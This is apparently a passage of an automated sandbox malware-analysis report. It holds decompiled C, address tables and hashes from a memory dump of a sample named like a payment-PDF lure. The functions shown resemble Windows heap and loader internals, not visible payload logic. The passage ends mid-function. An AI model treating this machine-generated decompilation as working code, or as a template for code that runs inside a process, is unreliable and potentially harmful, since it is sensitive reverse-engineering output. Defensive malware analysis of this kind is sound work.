0x3346c51d
0x00000000
0x3346c501
0x3346c470
0x3346c470
0x3346c477
0x3346c47a
0x3346c47a
0x3346c482
0x00000000
0x00000000
0x3346c48a
0x3346c48d
0x3346c498
0x3346c4b4
0x3346c4c5
0x334c9f08
0x334c9f17
0x3346c4cb
0x3346c4cb
0x3346c4cb
0x3346c4c5
0x3346c4d5
0x00000000
0x3346c4d5
0x3346c46e
0x3346c45b

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f14c5c064970cd9e209bbb9bb0086b9ff32f31d4a44cff782e062654175ab5f
Instruction ID: 953a3139a1aa5050c6b39c0bd3ac28f18a52119255adc1a532a50f6202a15834
Opcode Fuzzy Hash: 9f14c5c064970cd9e209bbb9bb0086b9ff32f31d4a44cff782e062654175ab5f
Instruction Fuzzy Hash: 10B16E74A002659FEB64CF64C890BA9B3B5EF44744F04C5EAD44AE7780EB70DD86CB28

Uniqueness

Uniqueness Score: -1.00%

Function 334B00A5 Relevance: .3, Instructions: 276
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E334B00A5(intOrPtr* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v44;
				char _v52;
				signed int _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				signed int _v72;
				signed char _v76;
				char _v80;
				intOrPtr* _v84;
				intOrPtr* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t107;
				signed int _t118;
				signed int _t127;
				signed int _t130;
				intOrPtr _t141;
				intOrPtr _t147;
				signed int _t156;
				signed int _t157;
				signed char _t160;
				signed int _t164;
				signed int _t166;
				signed int _t180;
				unsigned int _t189;
				unsigned int _t190;
				unsigned int _t191;
				intOrPtr* _t201;
				signed int _t202;
				signed int _t205;
				signed int _t206;

				_v8 =  *0x3356b370 ^ _t206;
				_t201 = _a8;
				_v84 = __edx;
				_t197 = 0;
				_v88 = _a4;
				_v60 = 0;
				_v72 = 0;
				_v68 = 0;
				if( *_t201 < 0xb0) {
					L31:
					_push(0x57);
					L32:
					_pop(_t101);
					L30:
					return E334B4B50(_t101, _t160, _v8 ^ _t206, _t197, _t201, _t202);
				}
				_t160 =  *(_t201 + 0x40);
				 *((intOrPtr*)(_t201 + 0x94)) = _t201 + 0xb0;
				 *((intOrPtr*)(_t201 + 0x84)) = ( *(_t201 + 0x92) & 0x0000ffff) + 0xb0 + _t201;
				_push("true");
				_pop(_t202);
				_t164 = _t160 & 0x0000040b;
				if(_t164 == 0) {
					_t160 = _t160 | _t202;
					 *(_t201 + 0x40) = _t160;
					L4:
					if((_t160 & 0x02000000) != 0) {
						goto L31;
					}
					_t166 = _t160 & 0x00000400;
					if(_t166 != 0) {
						__eflags =  *((intOrPtr*)(_t201 + 0x80)) - _t197;
						if( *((intOrPtr*)(_t201 + 0x80)) != _t197) {
							goto L31;
						}
						__eflags =  *((intOrPtr*)(_t201 + 0x44)) - _t197;
						if( *((intOrPtr*)(_t201 + 0x44)) != _t197) {
							goto L31;
						}
						__eflags =  *(_t201 + 0x4c) - _t197;
						if( *(_t201 + 0x4c) != _t197) {
							goto L31;
						}
					}
					_t107 =  *(_t201 + 0x4c);
					if(_t107 != 0) {
						__eflags =  *((intOrPtr*)(_t201 + 0x44)) - _t197;
						if( *((intOrPtr*)(_t201 + 0x44)) != _t197) {
							goto L31;
						}
						__eflags = _t107;
						if(_t107 < 0) {
							goto L31;
						}
					}
					if((_t160 & 0x00000006) == 6) {
						goto L31;
					}
					_t197 = 0xc000;
					if((_t160 & 0x0000c000) == 0xc000) {
						goto L31;
					}
					if((_t160 & 0x04000000) != 0) {
						__eflags = _t160 & 0x00000026;
						if((_t160 & 0x00000026) != 0) {
							goto L31;
						}
						__eflags = _t166;
						if(_t166 != 0) {
							goto L31;
						}
					}
					_t197 =  &_v60;
					if(E334B1B63(_t201 + 0x90,  &_v60) == 0) {
						asm("lock dec dword [eax+ecx*8+0x4]");
						_t101 = 0xb7;
						goto L30;
					}
					_t197 =  &_v76;
					if(L334B1AA0(_t201,  &_v76) != 0) {
						goto L30;
					}
					if(( *(_t201 + 0x40) & 0x00010000) != 0) {
						_t118 = ( *(_t201 + 0x92) & 0x0000ffff) + 0x000000b7 + ( *(_t201 + 0x82) & 0x0000ffff) & 0xfffffff8;
						_v68 =  *_t201 - _t118;
						_t205 = _t201 + _t118;
						_v72 = _t205;
						_t202 = _t205 | 0xffffffff;
					} else {
						if(( *(_t201 + 0x40) & 0x10000000) == 0) {
							_t202 =  *( *[fs:0x30] + 0x64);
						}
					}
					_t160 = _v76;
					_t197 = _t160;
					_v56 = _t160;
					_t202 = E334B1763(_t201, _t160, _t202, _v72, _v68);
					_v60 = _t202;
					if(_t202 == 0) {
						asm("lock dec dword [eax+ebx*8+0x4]");
						_push("true");
						goto L32;
					} else {
						_push(0);
						_push(0x2c);
						_push( &_v52);
						_push(0);
						if(E334B2D10() < 0) {
							_t101 = E3349ABA0(_t122);
							goto L30;
						}
						 *(_t202 + 0x8c) =  *(_t202 + 0x8c) - 0x00000001 + _v44 &  !(_v44 - 1);
						if(( *(_t202 + 0xd4) & 0x04000000) != 0) {
							_t127 = E335432C9(_t202);
							__eflags = _t127;
							if(_t127 == 0) {
								goto L18;
							}
							_t160 = E3349ABA0(_t127);
							__eflags = _t160;
							if(_t160 == 0) {
								goto L18;
							}
							L50:
							__eflags =  *(_t201 + 0x58);
							if( *(_t201 + 0x58) != 0) {
								_push( *(_t201 + 0x58));
								E334B2A80();
								 *(_t201 + 0x58) =  *(_t201 + 0x58) & 0x00000000;
								_t89 = _t202 + 0x68;
								 *_t89 =  *(_t202 + 0x68) & 0x00000000;
								__eflags =  *_t89;
							}
							E334AE363(_t202, _t197);
							L29:
							_t101 = _t160;
							goto L30;
						}
						L18:
						_t128 =  *(_t202 + 0xd4);
						if(( *(_t202 + 0xd4) & 0x00000400) != 0) {
							L20:
							_t130 =  *(_t202 + 0x8c) + 0xffffffb8;
							if(_t130 >= 0xffff) {
								_t130 = 0xffff;
							}
							 *(_t202 + 0x90) = _t130 & 0xfffffff8;
							_t160 = E334B0655(_t202);
							if(_t160 != 0) {
								goto L50;
							} else {
								if(( *(_t202 + 0xd4) & 0x00020000) == 0) {
									_t197 =  &_v80;
									_t160 = E33541A9E( *((intOrPtr*)(_t202 + 0x14)),  &_v80,  &_v64);
									__eflags = _t160;
									if(_t160 != 0) {
										goto L50;
									}
									 *((intOrPtr*)(_t202 + 0x17c)) = _v80;
								}
								_t180 = _v56;
								asm("lock inc dword [eax+ecx*8+0x4]");
								if(( *(_t202 + 0xd4) & 0x00000400) != 0) {
									L26:
									E334B03FA(_t201, _t202,  &_v64);
									_t141 =  *0x335641d4; // 0x0
									 *(_t141 + _v56 * 8) = _t202;
									_push(0);
									_push("true");
									_pop(_t197);
									E334B0344(_t202, _t197, _t230);
									L27:
									asm("lock dec dword [eax+ecx*8+0x4]");
									if(_t160 != 0) {
										goto L50;
									}
									 *_v84 =  *_t201;
									 *_v88 =  *_t201;
									goto L29;
								}
								_t147 = E334B04D0(_t180, E334B22A0, _t202);
								_t230 = _t147;
								if(_t147 == 0) {
									_t202 = _v60;
									_t160 =  *( *[fs:0x18] + 0x34);
									goto L27;
								}
								 *((intOrPtr*)(_t202 + 0x1c)) = _t147;
								goto L26;
							}
						}
						_t197 = _v72;
						if(L334B088E(_t202, _v72, _v68, _t128 >> 0x00000002 & 1) != 0) {
							_t160 = E3349ABA0(_t152);
							__eflags = _t160;
							if(_t160 != 0) {
								goto L50;
							}
						}
						goto L20;
					}
				}
				_t189 =  !_t164;
				_t156 = _t189 & 0x000000ff;
				_t190 = _t189 >> 8;
				_t157 = _t190 & 0x000000ff;
				_t191 = _t190 >> 8;
				_v56 = _t191;
				_t197 =  *((intOrPtr*)(_t156 + 0x3344b330)) +  *((intOrPtr*)(_t157 + 0x3344b330));
				if( *((intOrPtr*)((_t191 >> 8) + 0x3344b330)) +  *((intOrPtr*)((_v56 & 0x000000ff) + 0x3344b330)) +  *((intOrPtr*)(_t156 + 0x3344b330)) +  *((intOrPtr*)(_t157 + 0x3344b330)) != 1) {
					goto L31;
				}
				_t197 = 0;
				goto L4;
			}

0x334b00b4
0x334b00bd
0x334b00c0
0x334b00c3
0x334b00c5
0x334b00c8
0x334b00d1
0x334b00d4
0x334b00d7
0x334b033f
0x334b033f
0x334b0341
0x334b0341
0x334b032e
0x334b033c
0x334b033c
0x334b00dd
0x334b00e6
0x334b00fc
0x334b0102
0x334b0104
0x334b0105
0x334b010b
0x334e93fb
0x334e93fd
0x334b0150
0x334b0156
0x00000000
0x00000000
0x334b015e
0x334b0164
0x334e9405
0x334e940c
0x00000000
0x00000000
0x334e9412
0x334e9415
0x00000000
0x00000000
0x334e941b
0x334e941e
0x00000000
0x00000000
0x334e9424
0x334b016a
0x334b016f
0x334e9429
0x334e942c
0x00000000
0x00000000
0x334e9432
0x334e9434
0x00000000
0x00000000
0x334e943a
0x334b017c
0x00000000
0x00000000
0x334b0182
0x334b018d
0x00000000
0x00000000
0x334b0199
0x334e943f
0x334e9442
0x00000000
0x00000000
0x334e9448
0x334e944a
0x00000000
0x00000000
0x334e9450
0x334b01a5
0x334b01af
0x334e9460
0x334e9465
0x00000000
0x334e9465
0x334b01b5
0x334b01c1
0x00000000
0x00000000
0x334b01ce
0x334e9486
0x334e948b
0x334e948e
0x334e9491
0x334e9494
0x334b01d4
0x334b01db
0x334b01e3
0x334b01e3
0x334b01db
0x334b01e9
0x334b01f1
0x334b01f3
0x334b01fc
0x334b01fe
0x334b0203
0x334e94a1
0x334e94a6
0x00000000
0x334b0209
0x334b0209
0x334b020b
0x334b0210
0x334b0211
0x334b021a
0x334e94ae
0x00000000
0x334e94ae
0x334b0231
0x334b0241
0x334e94ba
0x334e94bf
0x334e94c1
0x00000000
0x00000000
0x334e94cd
0x334e94cf
0x334e94d1
0x00000000
0x00000000
0x334e94d7
0x334e94d7
0x334e94db
0x334e94dd
0x334e94e0
0x334e94e5
0x334e94e9
0x334e94e9
0x334e94e9
0x334e94e9
0x334e94ef
0x334b032c
0x334b032c
0x00000000
0x334b032c
0x334b0247
0x334b0247
0x334b0252
0x334b0272
0x334b027d
0x334b0282
0x334e950a
0x334e950a
0x334b028d
0x334b0298
0x334b029c
0x00000000
0x334b02a2
0x334b02ac
0x334e9519
0x334e9521
0x334e9523
0x334e9525
0x00000000
0x00000000
0x334e952a
0x334e952a
0x334b02b7
0x334b02ba
0x334b02c9
0x334b02e1
0x334b02e9
0x334b02ee
0x334b02fb
0x334b02fd
0x334b02ff
0x334b0301
0x334b0304
0x334b0309
0x334b0311
0x334b0318
0x00000000
0x00000000
0x334b0323
0x334b032a
0x00000000
0x334b032a
0x334b02d1
0x334b02d6
0x334b02d8
0x334e953b
0x334e953e
0x00000000
0x334e953e
0x334b02de
0x00000000
0x334b02de
0x334b029c
0x334b0254
0x334b026c
0x334e94ff
0x334e9501
0x334e9503
0x00000000
0x00000000
0x334e9505
0x00000000
0x334b026c
0x334b0203
0x334b0111
0x334b0113
0x334b0116
0x334b011f
0x334b0122
0x334b0125
0x334b012b
0x334b0148
0x00000000
0x00000000
0x334b014e
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2edb45181ee3daa24bca69e83454a7f89719994bb86b6c60ca3afb3bea124497
Instruction ID: 17edb248a3ab2855bc3a6ac7267be575afcc9134f8549152231d8efb50d1f02f
Opcode Fuzzy Hash: 2edb45181ee3daa24bca69e83454a7f89719994bb86b6c60ca3afb3bea124497
Instruction Fuzzy Hash: 3DA1D1B5B047059FEB14CF65C980BAAB7B5FF44346F444029E9D597381EB38E806CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 33544080 Relevance: .3, Instructions: 275
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E33544080(signed int __ecx, void* __edx) {
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				char _v53;
				intOrPtr _v56;
				char _v57;
				signed int* _v60;
				char _v61;
				intOrPtr _v100;
				void* _t107;
				intOrPtr* _t109;
				intOrPtr _t121;
				intOrPtr _t125;
				signed int* _t131;
				intOrPtr _t138;
				intOrPtr _t142;
				intOrPtr _t147;
				signed int _t153;
				signed int _t156;
				signed int _t158;
				intOrPtr _t159;
				intOrPtr* _t160;
				intOrPtr _t161;
				signed int* _t167;
				signed int* _t168;
				intOrPtr _t170;
				signed int* _t174;
				intOrPtr _t176;
				signed int _t183;
				signed int _t189;
				signed int* _t190;
				intOrPtr _t191;
				unsigned int _t193;
				intOrPtr _t201;
				intOrPtr _t205;
				intOrPtr _t206;
				intOrPtr _t207;
				signed int _t210;
				signed int* _t214;
				intOrPtr _t216;
				intOrPtr _t217;
				intOrPtr* _t222;
				void* _t224;
				intOrPtr* _t225;
				intOrPtr _t226;
				intOrPtr _t230;
				unsigned int _t231;
				intOrPtr _t234;
				signed int _t238;
				signed int _t242;
				intOrPtr _t243;

				_t198 = __ecx;
				_v8 = _v8 | 0xffffffff;
				_v12 = 0xfff0bdc0;
				L33482330(_t107, 0x33566884);
				_t109 =  *0x33563420; // 0x31408a8
				while(_t109 != 0x33563420) {
					_t222 = _t109;
					_v16 =  *_t109;
					_v28 = _t222 - 8;
					L334753C0(_t222 - 8);
					if( *((char*)(_t222 - 3)) == 0) {
						_v20 = _t222 - 0xbc;
						L33482330(_t222 - 0xbc, _t222 - 0xbc);
						_v44 = _v44 & 0x00000000;
						_push("true");
						_push( &_v44);
						_push(0xc);
						_push( *((intOrPtr*)(_t222 - 0xc4)));
						_v53 = 1;
						if(E334B43A0() < 0) {
							L39:
							E334824D0(_v20);
							_push(_v32);
							goto L40;
						} else {
							_t234 = _v40;
							if(_t234 == 0) {
								goto L39;
							} else {
								_t189 = 0;
								_t238 = (_t234 + _t234 ^  *(_t222 + 0x24)) & 0x00000ffe ^  *(_t222 + 0x24);
								 *(_t222 + 0x24) = _t238;
								_t198 = _t238 >> 0x0000000b & 0x00000ffe;
								if((_t238 >> 0x0000000b & 0x00000ffe) < (_t238 & 0x00000ffe)) {
									while(_t189 != 0x102) {
										_t183 = L334821D0(_t222 + 0x2c, _t222 - 0xbc,  &_v12, 0);
										_t238 =  *(_t222 + 0x24);
										_t189 = _t183;
										_t198 = _t238 & 0x00000ffe;
										if((_t238 >> 0x0000000b & 0x00000ffe) < (_t238 & 0x00000ffe)) {
											continue;
										}
										goto L8;
									}
								}
								L8:
								if((_t238 & 0x007ff000) != 0) {
									_t121 =  *0x33566644; // 0x0
									_t125 = L33485D90(_t198,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t121 + 0x000c0000 | 0x00000008, (_t238 >> 0x0000000c & 0x000007ff) << 2);
									_v56 = _t125;
									_t190 = _t222 + 0x30;
									if(_t125 != 0) {
										_t201 =  *0x33566644; // 0x0
										_t198 = _t201 + 0x000c0000 | 0x00000008;
										_t131 = L33485D90(_t201 + 0x000c0000 | 0x00000008,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t201 + 0x000c0000 | 0x00000008, ( *(_t222 + 0x24) >> 0x0000000c & 0x000007ff) << 2);
										_v60 = _t131;
										if(_t131 != 0) {
											_t242 = 0;
											_t214 = _t131;
											_v32 = _v44 - _t131;
											while(1) {
												_t198 =  *_t190;
												if(_t198 == _t190) {
													break;
												}
												 *((intOrPtr*)(_t214 + _v32)) =  *((intOrPtr*)(_t198 + 8));
												_t190 = _t222 + 0x30;
												 *_t214 = _t198;
												_t158 =  *_t198;
												_v36 = _t158;
												if( *((intOrPtr*)(_t158 + 4)) != _t198) {
													goto L44;
												} else {
													_t167 =  *(_t198 + 4);
													if( *_t167 != _t198) {
														goto L44;
													} else {
														_t210 = _v36;
														_t242 = _t242 + 1;
														 *_t167 = _t210;
														_t214 =  &(_t214[1]);
														 *(_t210 + 4) = _t167;
														continue;
													}
												}
												goto L58;
											}
											 *(_t222 + 0x24) =  *(_t222 + 0x24) & 0xff800001;
											E334824D0(_t222 - 0xbc);
											E334752F0(_t198, _t222 - 8);
											_v44 = _v44 & 0x00000000;
											_t191 = _v52;
											_t224 = 0;
											_v57 = 0;
											_v32 = _t242 >> 6;
											while(_t224 < _t242) {
												_t67 = _t224 + 0x40; // 0x40
												if(_t67 > _t242) {
													_t153 = _t242 & 0x0000003f;
												} else {
													_t153 = 0x40;
												}
												_t198 =  &_v12;
												_push( &_v12);
												_push(0);
												_push(0);
												_push(_t191);
												_push(_t153);
												if(L334B2F60() != 0x102) {
													_t224 = _t224 + 0x40;
													_t156 = _v36 + 1;
													_t191 = _t191 + 0x100;
													_v36 = _t156;
													if(_t156 <= _v24) {
														continue;
													}
												}
												break;
											}
											if(_t242 != 0) {
												_t225 = _v48;
												_t193 = _v32;
												do {
													_push( *((intOrPtr*)(_t225 + _t193)));
													E334B2A80();
													_t147 =  *0x33566644; // 0x0
													E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t147 + 0xc0000,  *_t225);
													_t225 = _t225 + 4;
													_t242 = _t242 - 1;
												} while (_t242 != 0);
											}
											_t138 =  *0x33566644; // 0x0
											E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t138 + 0xc0000, _v48);
											goto L38;
										} else {
											while(1) {
												_t242 =  *_t190;
												if(_t242 == _t190) {
													break;
												}
												_t198 =  *_t242;
												if( *(_t198 + 4) != _t242) {
													goto L44;
												} else {
													_t168 =  *(_t242 + 4);
													if( *_t168 != _t242) {
														goto L44;
													} else {
														 *_t168 = _t198;
														 *(_t198 + 4) = _t168;
														_push( *((intOrPtr*)(_t242 + 8)));
														E334B2A80();
														_t170 =  *0x33566644; // 0x0
														E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t170 + 0xc0000, _t242);
														continue;
													}
												}
												goto L58;
											}
											 *(_t222 + 0x24) =  *(_t222 + 0x24) & 0xff800001;
											L38:
											_t142 =  *0x33566644; // 0x0
											E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t142 + 0xc0000, _v44);
											if(_v61 != 0) {
												goto L39;
											}
											goto L41;
										}
									} else {
										while(1) {
											_t242 =  *_t190;
											if(_t242 == _t190) {
												break;
											}
											_t198 =  *_t242;
											if( *(_t198 + 4) != _t242) {
												L44:
												_push("true");
												_pop(_t205);
												asm("int 0x29");
												_t159 = _t205;
												_v100 = _t159;
												_push(_t222);
												if(_t159 == 0) {
													L47:
													_t226 =  *0x7ffe03c0;
													_v20 = _t226;
												} else {
													_t226 =  *((intOrPtr*)(_t159 + 0x110));
													_v20 = _t226;
													if(_t226 == 0) {
														goto L47;
													}
												}
												_t206 =  *((intOrPtr*)(_t159 + 0x100));
												if(_t226 != _t206) {
													 *((intOrPtr*)(_t159 + 0x100)) = _t226;
													_t216 = _t226 - _t206;
													_v16 = _t216;
													if(_t216 != 0) {
														_t160 = _t159 + 8;
														_v24 = _t160;
														_push(_t190);
														_push(_t242);
														_t207 =  *_t160;
														_t161 =  *((intOrPtr*)(_t160 + 4));
														_v12 = _t161;
														do {
															_t217 = _t161;
															_t243 = _t207;
															_v28 = _t217;
															asm("lock cmpxchg8b [edi]");
															_t207 = _t243;
															_t161 = _t217;
															_v12 = _t161;
														} while (_t207 != _t243 || _t161 != _v28);
														_t230 = _v20;
														if(_t230 < 4) {
															_push("true");
															_pop(_t231);
														} else {
															_t231 = _t230 + 1;
														}
														_t244 = _v36;
														_push("true");
														_push( &_v32);
														_push("true");
														_t105 = _t244 + 0x24; // 0x408bf455
														_push( *_t105);
														_v32 = _t231;
														E334B43A0();
														_t159 = L33473722(_v36);
													}
												}
												return _t159;
											} else {
												_t174 =  *(_t242 + 4);
												if( *_t174 != _t242) {
													goto L44;
												} else {
													 *_t174 = _t198;
													 *(_t198 + 4) = _t174;
													_push( *((intOrPtr*)(_t242 + 8)));
													E334B2A80();
													_t176 =  *0x33566644; // 0x0
													E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t176 + 0xc0000, _t242);
													continue;
												}
											}
											goto L58;
										}
										 *(_t222 + 0x24) =  *(_t222 + 0x24) & 0xff800001;
										goto L39;
									}
								} else {
									 *(_t222 + 0x24) = _t238 & 0xfffff001;
									goto L39;
								}
							}
						}
					} else {
						_push(_v28);
						L40:
						E334752F0(_t198);
						L41:
						_t109 = _v16;
						continue;
					}
					L58:
				}
				return E334824D0(0x33566884);
				goto L58;
			}

0x33544080
0x3354408b
0x33544098
0x335440a0
0x335440a5
0x335443e6
0x335440af
0x335440b3
0x335440bb
0x335440bf
0x335440c8
0x335440db
0x335440df
0x335440e4
0x335440ed
0x335440ef
0x335440f0
0x335440f2
0x335440f8
0x33544104
0x335443d0
0x335443d4
0x335443d9
0x00000000
0x3354410a
0x3354410a
0x33544110
0x00000000
0x33544116
0x33544120
0x33544124
0x33544129
0x33544131
0x33544137
0x33544139
0x33544153
0x33544158
0x3354415b
0x3354416b
0x3354416f
0x00000000
0x00000000
0x00000000
0x3354416f
0x33544139
0x33544171
0x33544177
0x33544187
0x335441ab
0x335441b0
0x335441b4
0x335441b9
0x3354420f
0x33544223
0x33544234
0x33544239
0x3354423f
0x33544296
0x3354429a
0x3354429c
0x335442a0
0x335442a0
0x335442a4
0x00000000
0x00000000
0x335442ad
0x335442b0
0x335442b3
0x335442b5
0x335442b7
0x335442be
0x00000000
0x335442c4
0x335442c4
0x335442c9
0x00000000
0x335442cf
0x335442cf
0x335442d3
0x335442d4
0x335442d6
0x335442d9
0x00000000
0x335442d9
0x335442c9
0x00000000
0x335442be
0x335442de
0x335442ec
0x335442f5
0x335442fa
0x33544301
0x33544308
0x3354430a
0x3354430f
0x33544313
0x33544317
0x3354431c
0x33544325
0x3354431e
0x33544320
0x33544320
0x33544328
0x3354432c
0x3354432d
0x3354432f
0x33544331
0x33544332
0x3354433d
0x33544343
0x33544346
0x33544347
0x3354434d
0x33544355
0x00000000
0x00000000
0x33544355
0x00000000
0x3354433d
0x33544359
0x3354435b
0x3354435f
0x33544363
0x33544363
0x33544366
0x3354436d
0x33544381
0x33544386
0x33544389
0x33544389
0x33544363
0x3354438e
0x335443a7
0x00000000
0x33544241
0x33544241
0x33544241
0x33544245
0x00000000
0x00000000
0x33544247
0x3354424c
0x00000000
0x33544252
0x33544252
0x33544257
0x00000000
0x3354425d
0x3354425d
0x3354425f
0x33544262
0x33544265
0x3354426a
0x3354427f
0x00000000
0x3354427f
0x33544257
0x00000000
0x3354424c
0x33544286
0x335443ac
0x335443b0
0x335443c4
0x335443ce
0x00000000
0x00000000
0x00000000
0x335443ce
0x335441bb
0x335441bb
0x335441bb
0x335441bf
0x00000000
0x00000000
0x335441c1
0x335441c6
0x33544402
0x33544402
0x33544404
0x33544405
0x3354440f
0x33544411
0x33544414
0x33544417
0x33544426
0x33544426
0x3354442c
0x33544419
0x33544419
0x3354441f
0x33544424
0x00000000
0x00000000
0x33544424
0x3354442f
0x33544437
0x3354443b
0x33544441
0x33544443
0x33544446
0x33544448
0x3354444d
0x33544450
0x33544451
0x33544452
0x33544454
0x33544457
0x3354445a
0x3354445a
0x3354445c
0x33544461
0x33544474
0x3354447b
0x3354447d
0x3354447f
0x33544482
0x3354448b
0x33544491
0x33544496
0x33544498
0x33544493
0x33544493
0x33544493
0x33544499
0x3354449f
0x335444a1
0x335444a2
0x335444a4
0x335444a4
0x335444a7
0x335444aa
0x335444b1
0x335444b7
0x33544446
0x335444ba
0x335441cc
0x335441cc
0x335441d1
0x00000000
0x335441d7
0x335441d7
0x335441d9
0x335441dc
0x335441df
0x335441e4
0x335441f9
0x00000000
0x335441f9
0x335441d1
0x00000000
0x335441c6
0x33544200
0x00000000
0x33544200
0x33544179
0x3354417f
0x00000000
0x3354417f
0x33544177
0x33544110
0x335440ca
0x335440ce
0x335443dd
0x335443dd
0x335443e2
0x335443e2
0x00000000
0x335443e2
0x00000000
0x335440c8
0x33544401
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bdf567499d5e30aa7500dc04afce3da176dfe36c0e76782c49d20b260c93e1c
Instruction ID: b72a8b40c7cc3c9c787f65757a6ae27e0c540c09d4655e19c447485abb38b25f
Opcode Fuzzy Hash: 5bdf567499d5e30aa7500dc04afce3da176dfe36c0e76782c49d20b260c93e1c
Instruction Fuzzy Hash: 8CA1CDB2A44701AFD315CF28D980B5AB7E9FF48705F44492CF585ABA50D734E892CB94

Uniqueness

Uniqueness Score: -1.00%

Function 3348E310 Relevance: .3, Instructions: 261
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E3348E310(signed short* __ecx, signed int __edx, intOrPtr _a4, signed int* _a8) {
				signed int _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed short _v24;
				short _v26;
				char _v28;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t72;
				signed short _t83;
				intOrPtr _t87;
				signed short _t100;
				signed short _t110;
				signed short _t117;
				signed int _t121;
				signed int* _t122;
				unsigned int _t124;
				intOrPtr _t129;
				intOrPtr _t135;
				signed int _t136;
				signed short _t139;
				signed short _t142;
				signed short _t149;
				signed short _t155;
				signed short* _t158;
				intOrPtr _t160;
				signed int _t161;
				signed int _t163;

				_v20 = __edx;
				_t65 = __ecx;
				_v12 = __ecx;
				_v8 = 0;
				if((__edx & 0x00000020) == 0) {
					__eflags = __edx & 0x00000200;
					if((__edx & 0x00000200) == 0) {
						return 0xc0000225;
					} else {
						_t122 = _a8;
						_t159 = E3348F380(0, __ecx, __edx, _t122,  &_v8);
						goto L17;
					}
				} else {
					if(__ecx == 0) {
						_t135 =  *4;
						_t161 =  *0 & 0x0000ffff;
						_t149 = _t135 - 2 + _t161;
						__eflags = _t149 - _t135;
						if(_t149 > _t135) {
							while(1) {
								_t121 =  *_t149 & 0x0000ffff;
								__eflags = _t121 - 0x5c;
								if(_t121 == 0x5c) {
									break;
								}
								__eflags = _t121 - 0x2f;
								if(_t121 == 0x2f) {
									break;
								} else {
									_t149 = _t149 - 2;
									__eflags = _t149 - _t135;
									if(_t149 > _t135) {
										continue;
									} else {
									}
								}
								goto L43;
							}
							_t149 = _t149 + 2;
							__eflags = _t149;
						}
						L43:
						_v24 = _t149;
						_t136 = _t149 -  *4 & 0x0000ffff;
						_v28 = _t161 - _t136;
						_v26 =  *2 - _t136;
						_t65 =  &_v28;
						_v12 = _t65;
					}
					_t163 = 0;
					if(_t65 == 0) {
						L47:
						_t163 = 0x80000000;
					} else {
						_t124 = ( *_t65 & 0x0000ffff) >> 1;
						_t158 =  *(_t65 + 4);
						if(_t124 != 0) {
							do {
								_t110 =  *_t158 & 0x0000ffff;
								_t158 =  &(_t158[1]);
								_t124 = _t124 - 1;
								_v16 = _t110;
								if(_t110 >= 0x61) {
									if(_t110 > 0x7a) {
										_t139 =  *0x33566914; // 0x7ffd0654
										__eflags = _t139;
										if(_t139 != 0) {
											__eflags = _t110 - 0xc0;
											if(_t110 >= 0xc0) {
												_t153 = _t110 & 0x0000ffff;
												_t117 =  *0x33566914; // 0x7ffd0654
												_t142 =  *0x33566914; // 0x7ffd0654
												_t110 =  *((intOrPtr*)(_t142 + (( *(_t117 + (( *(_t139 + ((_t110 & 0x0000ffff) >> 8) * 2) & 0x0000ffff) + (_t153 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t153 & 0x0000000f)) * 2)) + _v16;
											}
										}
									} else {
										_t110 = _t110 + 0xffffffe0;
									}
								}
								_t65 = _t110 & 0xffff;
								_t163 = _t163 * 0x1003f + (_t110 & 0xffff);
							} while (_t124 != 0);
						}
						if(_t163 == 0) {
							goto L47;
						}
					}
					L33482330(_t65, 0x33566668);
					_t122 = _a8;
					_t157 = _v12;
					_t159 = L3348DF70(_v12, 0, _v20, _t122, _t163);
					if(_t159 >= 0) {
						_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_t122 + 0x50)) + 0x20));
					}
					E334824D0(0x33566668);
					if(_t159 < 0) {
						_v12 = 0;
					} else {
						_v12 = 1;
					}
					if(L33483C40() != 0) {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t67 = 0x7ffe0384;
					}
					if( *_t67 != 0) {
